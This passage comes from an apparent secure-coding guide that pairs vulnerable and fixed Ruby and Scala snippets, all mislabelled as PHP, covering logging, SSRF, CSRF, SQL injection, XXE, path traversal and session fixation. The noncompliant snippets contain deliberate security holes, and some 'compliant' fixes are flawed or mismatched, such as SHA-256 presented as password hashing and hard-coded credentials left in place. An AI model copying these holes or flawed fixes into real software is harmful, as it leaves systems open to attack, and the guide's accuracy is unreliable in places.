recipient's name. In case of insufficient funds, the warn method is used to log a warning message with similar details. By using a proper logging mechanism like Logger, you can capture important events, errors, and information within your application. Logging should include relevant details such as timestamps, user or request identifiers, actions performed, input values, and outcomes. This helps in troubleshooting issues, monitoring application behavior, detecting suspicious activities, and investigating security incidents. Additionally, ensure that logs are protected and stored securely to prevent unauthorized access or tampering. Regularly review and analyze logs to identify anomalies, potential security threats, or unusual behavior patterns. Remember to follow secure logging practices, such as avoiding the inclusion of sensitive information like passwords or personal data in logs, setting appropriate log levels, and using a log management system to centralize and analyze logs effectively. ## Improper Output Neutralization for Logs Noncompliant code: ```php # Noncompliant code logger = Logger.new('application.log') def log_user_activity(user_id, activity) logger.info("User #{user_id} performed activity: #{activity}") end ``` In this noncompliant code, the log_user_activity function logs user activity by directly interpolating the user_id and activity parameters into the log message. This approach can introduce log injection vulnerabilities when the parameters contain special characters or malicious input. An attacker could potentially exploit this vulnerability to modify log entries or inject malicious content into the log file. To address this security concern, it's crucial to properly neutralize output when incorporating user-provided data into log messages. Here's an example of compliant code that applies output neutralization: Compliant code: ```php # Compliant code logger = Logger.new('application.log') def log_user_activity(user_id, activity) sanitized_user_id = sanitize_output(user_id) sanitized_activity = sanitize_output(activity) logger.info("User #{sanitized_user_id} performed activity: #{sanitized_activity}") end def sanitize_output(input) # Implement output neutralization logic here # For example, remove or escape special characters that could be used for log injection sanitized_input = input.gsub(/[<>]/, '') # Return the sanitized input sanitized_input end ``` In the compliant code, the log_user_activity function applies the sanitize_output method to the user_id and activity parameters before incorporating them into the log message. The sanitize_output method implements output neutralization logic to remove or escape special characters that could be used for log injection. In this example, the gsub method is used to remove angle brackets (< and >) from the input. It's important to implement output neutralization logic specific to your application's requirements and the potential threats you want to mitigate. Consider using secure coding practices, such as encoding or escaping special characters, validating and limiting input values, and adhering to appropriate output formats (e.g., JSON, CSV) for structured logs. By properly neutralizing output when logging user-provided data, you can prevent log injection vulnerabilities and ensure the integrity and security of your log entries. Regularly review and analyze your log generation and handling processes to identify and address any potential vulnerabilities or misconfigurations. ## Omission of Security-relevant Information Noncompliant code: ```php # Noncompliant code def login(username, password) if username == 'admin' && password == 'password' puts 'Login successful' else puts 'Login failed' end end ``` In this noncompliant code, the login function performs a basic login operation by comparing the provided username and password with hardcoded values. However, the code does not provide specific information about the cause of login failures, potentially omitting security-relevant details that could aid in identifying and addressing authentication issues or potential attacks. To address this security concern, it's crucial to include sufficient security-relevant information when handling authentication or authorization operations. Here's an example of compliant code that includes security-relevant information: Compliant code: ```php # Compliant code def login(username, password) if username == 'admin' && password == 'password' puts 'Login successful' else puts 'Login failed: Invalid username or password' end end ``` In the compliant code, when a login fails, the code provides a more informative message indicating the reason for the failure: "Invalid username or password". This additional information can help users understand why the login attempt was unsuccessful and guide them to correct their credentials. By including security-relevant information in your error messages or response messages, you provide transparency and feedback to users, allowing them to take appropriate actions. This can help prevent potential security risks such as brute-force attacks, unauthorized access attempts, or user confusion. It's important to strike a balance between providing useful information and avoiding the disclosure of sensitive details that could aid attackers. Ensure that error messages are designed to be informative without revealing excessive information that could be exploited by malicious actors. Regularly review and update your error handling and messaging to align with best practices and address emerging security threats. ## Sensitive Information into Log File Noncompliant code: ```php # Noncompliant code logger = Logger.new('application.log') def log_sensitive_info(username, password) logger.info("Login attempt - Username: #{username}, Password: #{password}") end ``` In this noncompliant code, the log_sensitive_info function logs a login attempt with the username and password directly interpolated into the log message. Storing sensitive information such as passwords in log files can introduce serious security risks. Log files may be accessible to administrators, developers, or attackers, and the presence of sensitive information can lead to unauthorized access, disclosure, or misuse. To address this security concern, it's crucial to avoid logging sensitive information or to take measures to properly protect and secure the logged data. Here's an example of compliant code that prevents the logging of sensitive information: Compliant code: ```php # Compliant code logger = Logger.new('application.log') def log_login_attempt(username) logger.info("Login attempt - Username: #{username}") end ``` In the compliant code, the log_login_attempt function only logs the username as opposed to the sensitive password. By excluding the password from the log message, the code avoids storing sensitive information in the log file. It's important to adhere to secure logging practices when handling sensitive information. Here are some recommendations: 1. Avoid logging sensitive information such as passwords, credit card numbers, or personally identifiable information (PII). 2. Use log masking techniques to replace sensitive data with placeholders or redacted values. 3. Implement a log filtering mechanism to exclude sensitive information from the logs before they are written to disk or transmitted. 4. Regularly review and secure access to log files, ensuring that they are only accessible to authorized personnel. 5. Encrypt log files or store them in secure locations to protect against unauthorized access or tampering. By avoiding the logging of sensitive information or implementing measures to protect logged data, you can maintain the confidentiality and integrity of sensitive data, reduce the risk of unauthorized access or disclosure, and comply with data protection regulations. ## Server-Side Request Forgery (SSRF) Noncompliant code: ```php require 'open-uri' # Noncompliant code def fetch_url(url) data = open(url).read # Process the fetched data end ``` In this noncompliant code, the fetch_url function takes a URL as input and directly uses the open method from the open-uri library to read the content of the specified URL. This approach can be dangerous as it allows the attacker to manipulate the URL parameter and potentially access internal resources or perform unauthorized actions on behalf of the server. To address this security concern, it's crucial to implement proper safeguards to prevent SSRF attacks. Here's an example of compliant code that mitigates SSRF vulnerabilities: Compliant code: ```php require 'open-uri' require 'uri' # Compliant code def fetch_url(url) parsed_url = URI.parse(url) if parsed_url.host == 'trusted-domain.com' data = open(url).read # Process the fetched data else # Handle the case of an untrusted or restricted domain puts 'Access to the specified domain is not allowed.' end end ``` In the compliant code, the URI.parse method is used to parse the input URL and obtain the hostname. By checking the host attribute of the parsed URL against a whitelist of trusted domains (in this case, 'trusted-domain.com'), the code ensures that requests are only made to allowed destinations. If the input URL is from an untrusted or restricted domain, the code handles the case by outputting an appropriate message or taking other necessary actions, such as logging the event, notifying administrators, or rejecting the request. It's important to maintain a robust whitelist of trusted domains and carefully validate user input to prevent SSRF attacks. Additionally, consider implementing additional protections such as: * Restricting the use of IP addresses and private/internal network resources. * Implementing rate limiting or request throttling to prevent abuse. * Monitoring and logging outgoing requests to detect and respond to suspicious or unauthorized activities. By implementing proper input validation, domain whitelisting, and other security measures, you can significantly reduce the risk of SSRF attacks and ensure that requests are made only to trusted and intended destinations. ================================================ FILE: docs/rules/rules.md ================================================ --- layout: default title: Rules nav_order: 11 has_children: true permalink: docs/rules --- # Rules {: .no_toc } {: .fs-6 .fw-300 } ================================================ FILE: docs/rules/scala.md ================================================ --- layout: default title: Scala parent: Rules --- # Scala {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Exposure of sensitive information Noncompliant code: ```php // Noncompliant code - exposing sensitive information in error log def processUserInput(input: String): Unit = { // Process user input // ... // Log error with sensitive information val errorMessage = s"Error processing user input: $input" Logger.error(errorMessage) } ``` In this noncompliant code example, the processUserInput() function logs an error message that includes the user input directly into the error log using a logger. This can potentially expose sensitive information to anyone who has access to the error log file, including unauthorized users. Compliant code: ```php // Compliant code - avoiding exposure of sensitive information in error log def processUserInput(input: String): Unit = { // Process user input // ... // Log error without sensitive information Logger.error("Error processing user input") } ``` In the compliant code example, the processUserInput() function logs a generic error message without including the user input. By avoiding the inclusion of sensitive information in the error log, the code mitigates the risk of exposing sensitive data to unauthorized individuals. It's important to note that error logs should only contain information necessary for debugging and should not include any sensitive data. Additionally, it's recommended to configure error log settings appropriately and restrict access to the error log files to authorized personnel only. ## Insertion of Sensitive Information Into Sent Data Noncompliant code: ```php // Noncompliant code - inserting sensitive information into sent data def sendUserData(userId: String): Unit = { // Retrieve user data val userData = retrieveUserData(userId) // Insert sensitive information into sent data val sentData = s"User data: $userData" sendRequest(sentData) } def retrieveUserData(userId: String): String = { // Retrieve user data from the database // ... // Return the user data as a string } def sendRequest(data: String): Unit = { // Send the data to a remote server // ... } ``` In this noncompliant code example, the sendUserData() function retrieves user data and inserts the sensitive information directly into the sentData string. The sentData string is then sent to a remote server using the sendRequest() function. This practice can lead to the inadvertent exposure of sensitive information during the transmission process. Compliant code: ```php // Compliant code - avoiding insertion of sensitive information into sent data def sendUserData(userId: String): Unit = { // Retrieve user data val userData = retrieveUserData(userId) // Send the user data without inserting sensitive information sendRequest(userData) } def retrieveUserData(userId: String): String = { // Retrieve user data from the database // ... // Return the user data as a string } def sendRequest(data: String): Unit = { // Send the data to a remote server // ... } ``` In the compliant code example, the sendUserData() function retrieves user data and sends it to the remote server without inserting sensitive information into the data. By directly sending the user data instead of concatenating it with other strings, the code avoids the risk of inadvertently including sensitive information in the sent data. It's important to handle sensitive information carefully and avoid unnecessary inclusion in transmitted data. Proper data handling practices include using encryption, secure protocols (such as HTTPS), and following relevant security standards and guidelines to protect sensitive data during transmission. ## Cross-Site Request Forgery (CSRF) Noncompliant code: ```php // Noncompliant code - lack of CSRF protection def transferFunds(request: Request): Response = { val sourceAccount = request.getParameter("sourceAccount") val destinationAccount = request.getParameter("destinationAccount") val amount = request.getParameter("amount") // Perform fund transfer logic // ... // Return response // ... } ``` In the noncompliant code, the transferFunds function is vulnerable to CSRF attacks because it lacks CSRF protection. An attacker can trick a user into unknowingly performing a malicious fund transfer by crafting a forged request and tricking the user into clicking on a malicious link or submitting a form. Compliant code: ```php // Compliant code - CSRF protection using tokens def transferFunds(request: Request): Response = { val sourceAccount = request.getParameter("sourceAccount") val destinationAccount = request.getParameter("destinationAccount") val amount = request.getParameter("amount") // Verify CSRF token val csrfToken = request.getParameter("csrfToken") if (!validateCsrfToken(csrfToken)) { // CSRF token validation failed, handle the error or return an appropriate response // ... } // Perform fund transfer logic // ... // Return response // ... } def validateCsrfToken(csrfToken: String): Boolean = { // Validate the CSRF token against a stored value or session token // Return true if the token is valid, false otherwise // ... } ``` In the compliant code, a CSRF protection mechanism is added using tokens. The transferFunds function now expects a CSRF token as part of the request parameters. It verifies the token using the validateCsrfToken function before executing the fund transfer logic. If the token validation fails, appropriate error handling or response generation can be performed. By implementing CSRF protection, the code mitigates the risk of unauthorized fund transfers through CSRF attacks. ## Use of Hard-coded Password Noncompliant code: ```php // Noncompliant code - hard-coded password def authenticate(username: String, password: String): Boolean = { // Hard-coded password for authentication if (password == "myPassword123") { // Authentication successful true } else { // Authentication failed false } } ``` In the noncompliant code, the authenticate function uses a hard-coded password for authentication. Storing passwords directly in the source code is a security risk because it makes the password easily accessible to anyone with access to the code. If the code is compromised or leaked, an attacker can easily retrieve the password and gain unauthorized access. Compliant code: ```php // Compliant code - use of secure password storage def authenticate(username: String, password: String): Boolean = { // Retrieve the stored password hash for the user from a secure database or password storage mechanism val storedPasswordHash = getStoredPasswordHash(username) // Compare the entered password with the stored password hash using a secure password hashing algorithm val isPasswordValid = verifyPassword(password, storedPasswordHash) isPasswordValid } def getStoredPasswordHash(username: String): String = { // Retrieve the stored password hash for the user from a secure database or password storage mechanism // ... } def verifyPassword(password: String, storedPasswordHash: String): Boolean = { // Use a secure password hashing algorithm (e.g., bcrypt, Argon2, scrypt) to verify the password // Compare the password hash derived from the entered password with the stored password hash // Return true if the password is valid, false otherwise // ... } ``` In the compliant code, the password is not hard-coded in the source code. Instead, it is securely stored in a database or a secure password storage mechanism. The authenticate function retrieves the stored password hash for the user and compares it with the entered password using a secure password hashing algorithm (e.g., bcrypt, Argon2, scrypt). This ensures that the actual password value is never exposed or stored directly, and only the hash representation is used for comparison. By using secure password storage and hashing techniques, the code mitigates the risk associated with hard-coded passwords and enhances the overall security of the application. ## Broken or Risky Crypto Algorithm Noncompliant code: ```php import java.security.MessageDigest // Noncompliant code - uses weak MD5 hashing algorithm def hashPassword(password: String): String = { val md = MessageDigest.getInstance("MD5") val bytes = password.getBytes("UTF-8") val digest = md.digest(bytes) val hashedPassword = digest.map("%02x".format(_)).mkString hashedPassword } ``` In the noncompliant code, the hashPassword function uses the weak MD5 hashing algorithm to hash the password. MD5 is considered broken and insecure for cryptographic purposes due to its vulnerability to collision attacks and the availability of more secure alternatives. Compliant code: ```php import java.security.MessageDigest // Compliant code - uses secure SHA-256 hashing algorithm def hashPassword(password: String): String = { val md = MessageDigest.getInstance("SHA-256") val bytes = password.getBytes("UTF-8") val digest = md.digest(bytes) val hashedPassword = digest.map("%02x".format(_)).mkString hashedPassword } ``` In the compliant code, the hashPassword function uses the secure SHA-256 hashing algorithm instead of MD5. SHA-256 is a widely accepted and stronger cryptographic hash function. It provides better resistance against collision attacks and is considered more secure for hashing sensitive information such as passwords. By using a secure cryptographic algorithm like SHA-256, the compliant code mitigates the risk associated with broken or risky crypto algorithms and enhances the overall security of the application. ## Insufficient Entropy Noncompliant code: ```php import scala.util.Random // Noncompliant code - uses Random.nextInt without sufficient entropy def generateOTP(): String = { val otp = Random.nextInt(9999).toString otp } ``` In the noncompliant code, the generateOTP function attempts to generate a one-time password (OTP) by using Random.nextInt to generate a random number between 0 and 9999. However, the Random class in Scala uses a linear congruential generator (LCG) algorithm, which may not provide sufficient entropy for generating secure random numbers. Compliant code: ```php import java.security.SecureRandom import scala.util.Random // Compliant code - uses SecureRandom for generating OTP with sufficient entropy def generateOTP(): String = { val secureRandom = new SecureRandom() val otp = secureRandom.nextInt(10000).toString otp } ``` In the compliant code, the generateOTP function uses SecureRandom instead of Random to generate the OTP. SecureRandom is a cryptographic-strength random number generator that provides sufficient entropy for generating secure random numbers. By using SecureRandom, the compliant code ensures that the generated OTPs have higher entropy and are more resistant to guessing or brute-force attacks. This enhances the security of the application that relies on OTPs for authentication or other security-sensitive operations. ## XSS Noncompliant code: ```php import scala.xml.NodeSeq // Noncompliant code - vulnerable to XSS def displayMessage(message: String): NodeSeq = {
{message}
} ``` In the noncompliant code, the displayMessage function accepts a message parameter, which is directly interpolated into an XML element using the {} syntax. This code is vulnerable to cross-site scripting (XSS) attacks because it does not properly escape or sanitize the message parameter. An attacker can inject malicious scripts or HTML tags into the message, leading to potential security risks. Compliant code: ```php import scala.xml.{NodeSeq, Text} // Compliant code - properly escapes the message to prevent XSS def displayMessage(message: String): NodeSeq = {
{Text(message)}
} ``` In the compliant code, the displayMessage function uses the Text class from the scala.xml package to properly escape the message parameter. The Text class ensures that any special characters in the message are encoded correctly, preventing the injection of malicious scripts or HTML tags. By using the Text class to escape the message parameter, the compliant code mitigates the risk of XSS attacks and ensures that the displayed message is rendered as plain text rather than interpreted as HTML or script code. This enhances the security of the application and protects users from potential XSS vulnerabilities. ## SQL Injection Noncompliant code: ```php import java.sql.{Connection, DriverManager, ResultSet} // Noncompliant code - vulnerable to SQL injection def getUser(userId: String): Option[String] = { val query = s"SELECT name FROM users WHERE id = $userId" var connection: Connection = null var result: Option[String] = None try { connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mydb", "username", "password") val statement = connection.createStatement() val resultSet = statement.executeQuery(query) if (resultSet.next()) { result = Some(resultSet.getString("name")) } } catch { case e: Exception => e.printStackTrace() } finally { if (connection != null) { connection.close() } } result } ``` In the noncompliant code, the getUser function accepts a userId parameter and directly interpolates it into the SQL query string. This code is vulnerable to SQL injection attacks because the user input is not properly sanitized or parameterized. An attacker can manipulate the userId parameter to execute arbitrary SQL statements, potentially gaining unauthorized access to the database or compromising data integrity. Compliant code: ```php import java.sql.{Connection, DriverManager, PreparedStatement, ResultSet} // Compliant code - uses parameterized queries to prevent SQL injection def getUser(userId: String): Option[String] = { val query = "SELECT name FROM users WHERE id = ?" var connection: Connection = null var result: Option[String] = None try { connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mydb", "username", "password") val statement = connection.prepareStatement(query) statement.setString(1, userId) val resultSet = statement.executeQuery() if (resultSet.next()) { result = Some(resultSet.getString("name")) } } catch { case e: Exception => e.printStackTrace() } finally { if (connection != null) { connection.close() } } result } ``` In the compliant code, the getUser function uses parameterized queries to prevent SQL injection attacks. Instead of directly interpolating the userId parameter into the SQL query, the code uses a prepared statement and binds the parameter using the setString method. This approach ensures that the user input is properly handled and prevents any malicious SQL statements from being executed. By using parameterized queries, the compliant code mitigates the risk of SQL injection and ensures the safety of database operations. It protects against unauthorized access and helps maintain data integrity within the application. ## External Control of File Name or Path Noncompliant code: ```php import java.io.File // Noncompliant code - vulnerable to external control of file name or path def readFile(fileName: String): String = { val file = new File(fileName) val content = scala.io.Source.fromFile(file).mkString content } ``` In the noncompliant code, the readFile function accepts a fileName parameter, which is used to create a File object to read the content of the file. However, this code is vulnerable to external control of the file name or path, as it directly uses the fileName parameter without any validation or sanitization. An attacker can manipulate the fileName parameter to read arbitrary files from the system, potentially exposing sensitive information or compromising the application's security. Compliant code: ```php import java.io.File // Compliant code - validates and sanitizes the file name def readFile(fileName: String): Option[String] = { if (!fileName.contains("..") && fileName.matches("[a-zA-Z0-9]+\\.txt")) { val file = new File(fileName) val content = scala.io.Source.fromFile(file).mkString Some(content) } else { None } } ``` In the compliant code, the readFile function validates and sanitizes the fileName parameter before accessing the file. The code checks if the file name contains .., which is commonly used in path traversal attacks to navigate to parent directories. Additionally, the code uses a regular expression pattern to ensure that the file name consists only of alphanumeric characters and ends with the .txt extension (you can modify the pattern as per your specific requirements). By validating and sanitizing the file name, the compliant code mitigates the risk of external control of the file name or path. It ensures that only files meeting the specified criteria can be accessed, reducing the potential for unauthorized access or disclosure of sensitive information. ## Generation of Error Message Containing Sensitive Information Noncompliant code: ```php // Noncompliant code - error message containing sensitive information def divide(a: Int, b: Int): Int = { if (b != 0) { a / b } else { throw new ArithmeticException("Division by zero error. Numerator: " + a + ", Denominator: " + b) } } ``` In the noncompliant code, when a division by zero occurs, an ArithmeticException is thrown with an error message that includes the values of the numerator and denominator. This error message may contain sensitive information, such as actual values from the computation, which could be exploited by an attacker for malicious purposes. Compliant code: ```php // Compliant code - generic error message without sensitive information def divide(a: Int, b: Int): Int = { if (b != 0) { a / b } else { throw new ArithmeticException("Division by zero error.") } } ``` In the compliant code, the error message is modified to provide a generic message without disclosing any sensitive information. Instead of including the specific values of the numerator and denominator, the error message simply states that a division by zero error has occurred. By avoiding the inclusion of sensitive information in error messages, the compliant code helps to prevent the potential exposure of sensitive data. It follows the principle of providing a generic error message that does not divulge specific details of the computation, reducing the risk of information leakage and protecting the confidentiality of sensitive data. ## unprotected storage of credentials Noncompliant code: ```php // Noncompliant code - unprotected storage of credentials val username = "admin" val password = "secretpassword" ``` In the noncompliant code, the credentials (username and password) are stored directly in variables without any protection. Storing credentials in plain text exposes them to potential unauthorized access, especially if an attacker gains access to the source code or the environment where the code is deployed. Compliant code: ```php // Compliant code - secure storage of credentials val username = readSecureValue("username") val password = readSecureValue("password") def readSecureValue(key: String): String = { // Implement a secure mechanism to retrieve the value of the given key // Examples: reading from an encrypted configuration file, retrieving from a secure key vault, etc. // This implementation depends on the specific security requirements and infrastructure of the application. // The focus is on securely retrieving the credentials, ensuring they are not stored directly in the code. // The exact implementation details are beyond the scope of this example. // Ideally, secrets management tools or libraries should be used for secure credential storage. // This ensures that credentials are not hardcoded in the code and are accessed securely at runtime. // Additionally, access controls and encryption should be implemented to protect the stored credentials. // For simplicity, this example assumes a custom readSecureValue() function that securely retrieves the value. // The actual implementation should use established and tested secure practices. // This example is meant to illustrate the concept of securely storing and retrieving credentials. // It is recommended to use a robust secrets management solution in real-world scenarios. // This code snippet should be adapted to meet the specific security requirements of the application. // Placeholder implementation if (key == "username") { // Retrieve the username value securely "admin" } else if (key == "password") { // Retrieve the password value securely "secretpassword" } else { // Handle other keys as needed "" } } ``` In the compliant code, the credentials are not stored directly in the code. Instead, a secure mechanism is used to retrieve the values of the credentials at runtime. The readSecureValue function is a placeholder for a secure implementation that retrieves the credentials from a secure storage or secrets management solution. The exact implementation details will depend on the specific security requirements and infrastructure of the application. By securely storing the credentials and retrieving them at runtime, the compliant code helps to protect sensitive information from unauthorized access. It avoids the risk of exposing credentials in plain text and follows best practices for credential management and secure storage. ## Trust Boundary Violation Noncompliant code: ```php // Noncompliant code - trust boundary violation val userRole = getUserRoleFromRequest(request) val isAdmin = checkUserRole(userRole) def getUserRoleFromRequest(request: Request): String = { // Extract the user role from the request parameter without proper validation // This code assumes the user role is directly provided in the request // without any sanitization or validation checks request.getParameter("role") } def checkUserRole(userRole: String): Boolean = { // Perform a check to determine if the user has administrative privileges // In this noncompliant code, the check is solely based on the value of the user role // without any additional validation or verification userRole.toLowerCase() == "admin" } ``` In the noncompliant code, there is a trust boundary violation where the user role is directly extracted from the request parameter without proper validation or sanitization. The code assumes that the user role provided in the request is trustworthy and uses it to determine if the user has administrative privileges. However, this approach is insecure as it relies solely on the user-provided value without any additional validation or verification. Compliant code: ```php // Compliant code - proper validation of user role val userRole = getUserRoleFromRequest(request) val isAdmin = checkUserRole(userRole) def getUserRoleFromRequest(request: Request): String = { // Extract the user role from the request parameter and perform proper validation // Validate and sanitize the user-provided input to prevent trust boundary violations val rawUserRole = request.getParameter("role") validateUserRole(rawUserRole) } def validateUserRole(userRole: String): String = { // Perform proper validation and sanitization of the user role // This could include checks such as ensuring the user role is within an allowed set of values, // validating against a predefined list of roles, or using a dedicated role validation library. // The exact validation logic depends on the specific requirements and design of the application. // This example assumes a simple validation for demonstration purposes. if (userRole.toLowerCase() == "admin" || userRole.toLowerCase() == "user") { userRole.toLowerCase() } else { // Handle invalid user roles as needed, such as assigning a default role or throwing an exception "guest" } } def checkUserRole(userRole: String): Boolean = { // Perform a check to determine if the user has administrative privileges // The user role has been properly validated before reaching this point userRole == "admin" } ``` In the compliant code, proper validation and sanitization of the user role are performed. The getUserRoleFromRequest function extracts the user role from the request parameter and passes it to the validateUserRole function for validation. The validateUserRole function performs appropriate checks to ensure the user role is valid and within the expected set of values. In this example, the validation is a simple check against allowed roles, but in real-world scenarios, more complex validation logic and libraries should be used. By validating and sanitizing the user role, the compliant code prevents trust boundary violations and ensures that only valid and trusted values are used to determine if the user has administrative privileges. This helps to protect against unauthorized access and maintains the integrity of the trust boundary. ## Insufficiently Protected Credentials Noncompliant code: ```php // Noncompliant code - insufficiently protected credentials val username = "admin" val password = "password" val connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mydb", username, password) ``` In the noncompliant code, the username and password for a database connection are hardcoded directly into the source code. This practice is insecure because it exposes sensitive credentials to anyone who has access to the code. Hardcoding credentials makes it easier for attackers to identify and exploit them, especially if the source code is accessible or accidentally leaked. Compliant code: ```php // Compliant code - protected credentials val username = readUsernameFromConfig() val password = readPasswordFromConfig() val connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mydb", username, password) def readUsernameFromConfig(): String = { // Read the username from a secure configuration file or environment variable // This ensures that the credentials are not directly hardcoded in the source code // and are kept separate from the code repository // The specific method for retrieving the username will depend on the application's configuration mechanism // such as reading from a properties file, using a secure vault, or fetching from environment variables // This example assumes reading from a properties file for demonstration purposes val properties = new Properties() properties.load(new FileInputStream("config.properties")) properties.getProperty("db.username") } def readPasswordFromConfig(): String = { // Read the password from a secure configuration file or environment variable // Similar to the username, the password should be stored separately from the source code val properties = new Properties() properties.load(new FileInputStream("config.properties")) properties.getProperty("db.password") } ``` In the compliant code, the username and password are retrieved from a secure configuration file (config.properties) rather than being hardcoded directly into the source code. This separation of credentials from the code ensures that sensitive information is not exposed in the codebase itself. The specific method for retrieving the credentials may vary depending on the application's configuration mechanism, such as reading from a properties file, using a secure vault, or fetching from environment variables. By protecting the credentials in a separate configuration file or environment variable, the compliant code mitigates the risk of accidental exposure of sensitive information and helps maintain the confidentiality of the credentials. It also allows for easier management of credentials in different environments without modifying the source code. ## Restriction of XML External Entity Reference Noncompliant code: ```php // Noncompliant code - unrestricted XML entity reference import scala.xml.XML val xml = XML.loadString(""" ]> &xxe; """) // Process the XML data ``` In the noncompliant code, an XML document is loaded using the XML.loadString method without any explicit restrictions on XML external entity references. This can lead to XML External Entity (XXE) attacks where an attacker can include external entities, such as local files, and potentially read sensitive data or perform other malicious actions. Compliant code: ```php // Compliant code - restricted XML entity reference import scala.xml.{Elem, XML} import javax.xml.XMLConstants import javax.xml.parsers.DocumentBuilderFactory // Set up secure XML parsing val factory = DocumentBuilderFactory.newInstance() factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true) factory.setExpandEntityReferences(false) val builder = factory.newDocumentBuilder() val xml = XML.withSAXParser(builder).loadString(""" ]> &xxe; """) // Process the XML data ``` In the compliant code, additional measures are taken to restrict the XML entity references and prevent XXE attacks. The javax.xml.parsers.DocumentBuilderFactory is used to create a secure XML parser. By enabling the FEATURE_SECURE_PROCESSING feature and disabling the ExpandEntityReferences option, the parser ensures that XML external entity references are not resolved or expanded. The XML.withSAXParser method is used to apply the secure parser to the XML document. This ensures that the XML processing is performed with the restricted entity reference behavior. By implementing these restrictions on XML entity references, the compliant code mitigates the risk of XXE attacks and protects against the unauthorized disclosure of sensitive information from external entities. ## PHPMailer library Noncompliant code: ```php // Noncompliant code - using outdated library version import org.apache.commons.codec.digest.DigestUtils val password = "password123" val hashedPassword = DigestUtils.sha1Hex(password) ``` In the noncompliant code, the Apache Commons Codec library is used to hash a password using the SHA-1 algorithm. However, using the SHA-1 algorithm for password hashing is considered insecure and outdated. It is susceptible to various attacks, such as collision attacks and pre-image attacks, making it unsuitable for secure password storage. Compliant code: ```php // Compliant code - using secure and up-to-date library version import java.security.MessageDigest val password = "password123" val sha256 = MessageDigest.getInstance("SHA-256") val hashedPassword = sha256.digest(password.getBytes).map("%02x".format(_)).mkString ``` In the compliant code, the java.security.MessageDigest class is used to hash the password using the SHA-256 algorithm, which is more secure than SHA-1. The getInstance method is called with the algorithm name "SHA-256" to obtain an instance of the MessageDigest class. The digest method is used to compute the hash value of the password by converting it to bytes and applying the SHA-256 algorithm. The resulting hash is then converted to a hexadecimal string representation using the map and mkString methods. By using a secure and up-to-date algorithm like SHA-256, the compliant code ensures that the password hashing is performed in a more robust and secure manner, mitigating the risk of password compromise due to the use of vulnerable and outdated components. It is important to regularly update dependencies and libraries to ensure the use of the latest versions with security patches and fixes. ## Improper Validation of Certificate with Host Mismatch Noncompliant code: ```php // Noncompliant code - improper certificate validation import java.net.URL import java.net.HttpURLConnection val url = new URL("https://example.com") val connection = url.openConnection().asInstanceOf[HttpURLConnection] connection.setRequestMethod("GET") // Disable hostname verification connection.setHostnameVerifier((_, _) => true) val responseCode = connection.getResponseCode() ``` In the noncompliant code, a URL is created for the "https://example.com" endpoint, and a connection is opened using openConnection() method. The setHostnameVerifier method is used to disable hostname verification, which means that the certificate presented by the server will not be validated against the host. Compliant code: ```php // Compliant code - proper certificate validation import java.net.URL import java.net.HttpURLConnection import javax.net.ssl.HttpsURLConnection import javax.net.ssl.SSLContext val url = new URL("https://example.com") val connection = url.openConnection().asInstanceOf[HttpsURLConnection] connection.setRequestMethod("GET") // Enable proper hostname verification val sslContext = SSLContext.getInstance("TLS") sslContext.init(null, null, null) connection.setSSLSocketFactory(sslContext.getSocketFactory()) val responseCode = connection.getResponseCode() ``` In the compliant code, the HttpsURLConnection class is used instead of HttpURLConnection to establish an HTTPS connection, which is required for secure communication. The SSLContext class is used to initialize an SSL context with default parameters. The setSSLSocketFactory method is then called on the connection object to set the SSL socket factory from the initialized SSL context. This ensures that proper certificate validation and hostname verification are performed by the underlying SSL implementation. By using the HttpsURLConnection class and enabling proper hostname verification, the compliant code ensures that the certificate presented by the server is validated against the host, mitigating the risk of connecting to a server with a mismatched or invalid certificate. It is important to perform proper certificate validation to establish secure and trusted connections. ## Improper Authentication Noncompliant code: ```php // Noncompliant code - improper authentication import java.util.Scanner val scanner = new Scanner(System.in) println("Enter username:") val username = scanner.nextLine() println("Enter password:") val password = scanner.nextLine() // Perform authentication logic val isAuthenticated = authenticate(username, password) if (isAuthenticated) { println("Authentication successful") } else { println("Authentication failed") } def authenticate(username: String, password: String): Boolean = { // Authentication logic goes here // ... true // Dummy authentication logic for demonstration purposes } ``` In the noncompliant code, the authentication process relies on reading the username and password from the standard input using the Scanner class. The credentials are then passed to the authenticate function, which performs the authentication logic. However, this approach is insecure as it exposes the sensitive credentials to potential eavesdropping. Compliant code: ```php // Compliant code - proper authentication import java.io.Console val console: Console = System.console() val username = console.readLine("Enter username: ") val password = console.readPassword("Enter password: ") // Perform authentication logic val isAuthenticated = authenticate(username, password) if (isAuthenticated) { println("Authentication successful") } else { println("Authentication failed") } def authenticate(username: String, password: Array[Char]): Boolean = { // Authentication logic goes here // ... true // Dummy authentication logic for demonstration purposes } ``` In the compliant code, the authentication process uses the Console class to read the username and password from the console. The readLine method is used to read the username, while the readPassword method is used to securely read the password as a character array instead of a plain text string. By using the Console class, the compliant code avoids exposing the sensitive credentials in plain text and provides a more secure approach to handle user input for authentication. ## Session Fixation Noncompliant code: ```php // Noncompliant code - session fixation vulnerability import javax.servlet.http.{HttpServletRequest, HttpServletResponse} def login(request: HttpServletRequest, response: HttpServletResponse): Unit = { val sessionId = request.getParameter("sessionid") // Perform login logic // ... val newSessionId = generateNewSessionId() request.getSession(true).setAttribute("sessionid", newSessionId) response.sendRedirect("/dashboard") } def generateNewSessionId(): String = { // Generate new session ID logic goes here // ... "newSessionId" // Dummy session ID for demonstration purposes } ``` In the noncompliant code, the login function receives an HTTP request and response objects. It retrieves the sessionid parameter from the request, performs the login logic, generates a new session ID using the generateNewSessionId function, and sets the new session ID as an attribute in the session. However, this code is vulnerable to session fixation attacks because it accepts the sessionid parameter from an untrusted source without invalidating any existing session. Compliant code: ```php // Compliant code - protected against session fixation import javax.servlet.http.{HttpServletRequest, HttpServletResponse} import java.util.UUID def login(request: HttpServletRequest, response: HttpServletResponse): Unit = { val newSessionId = generateNewSessionId() request.changeSessionId() // Invalidate existing session ID request.getSession(true).setAttribute("sessionid", newSessionId) response.sendRedirect("/dashboard") } def generateNewSessionId(): String = { UUID.randomUUID().toString // Generate a new session ID using a secure method } ``` In the compliant code, the login function generates a new session ID using a secure method such as UUID.randomUUID(). Before setting the new session ID, the code invalidates any existing session by calling request.changeSessionId(). This ensures that any previously fixed session IDs are invalidated and a new session is established. By generating a new session ID and invalidating any existing session, the compliant code protects against session fixation attacks by ensuring that each user receives a unique and secure session ID upon login. ## Inclusion of 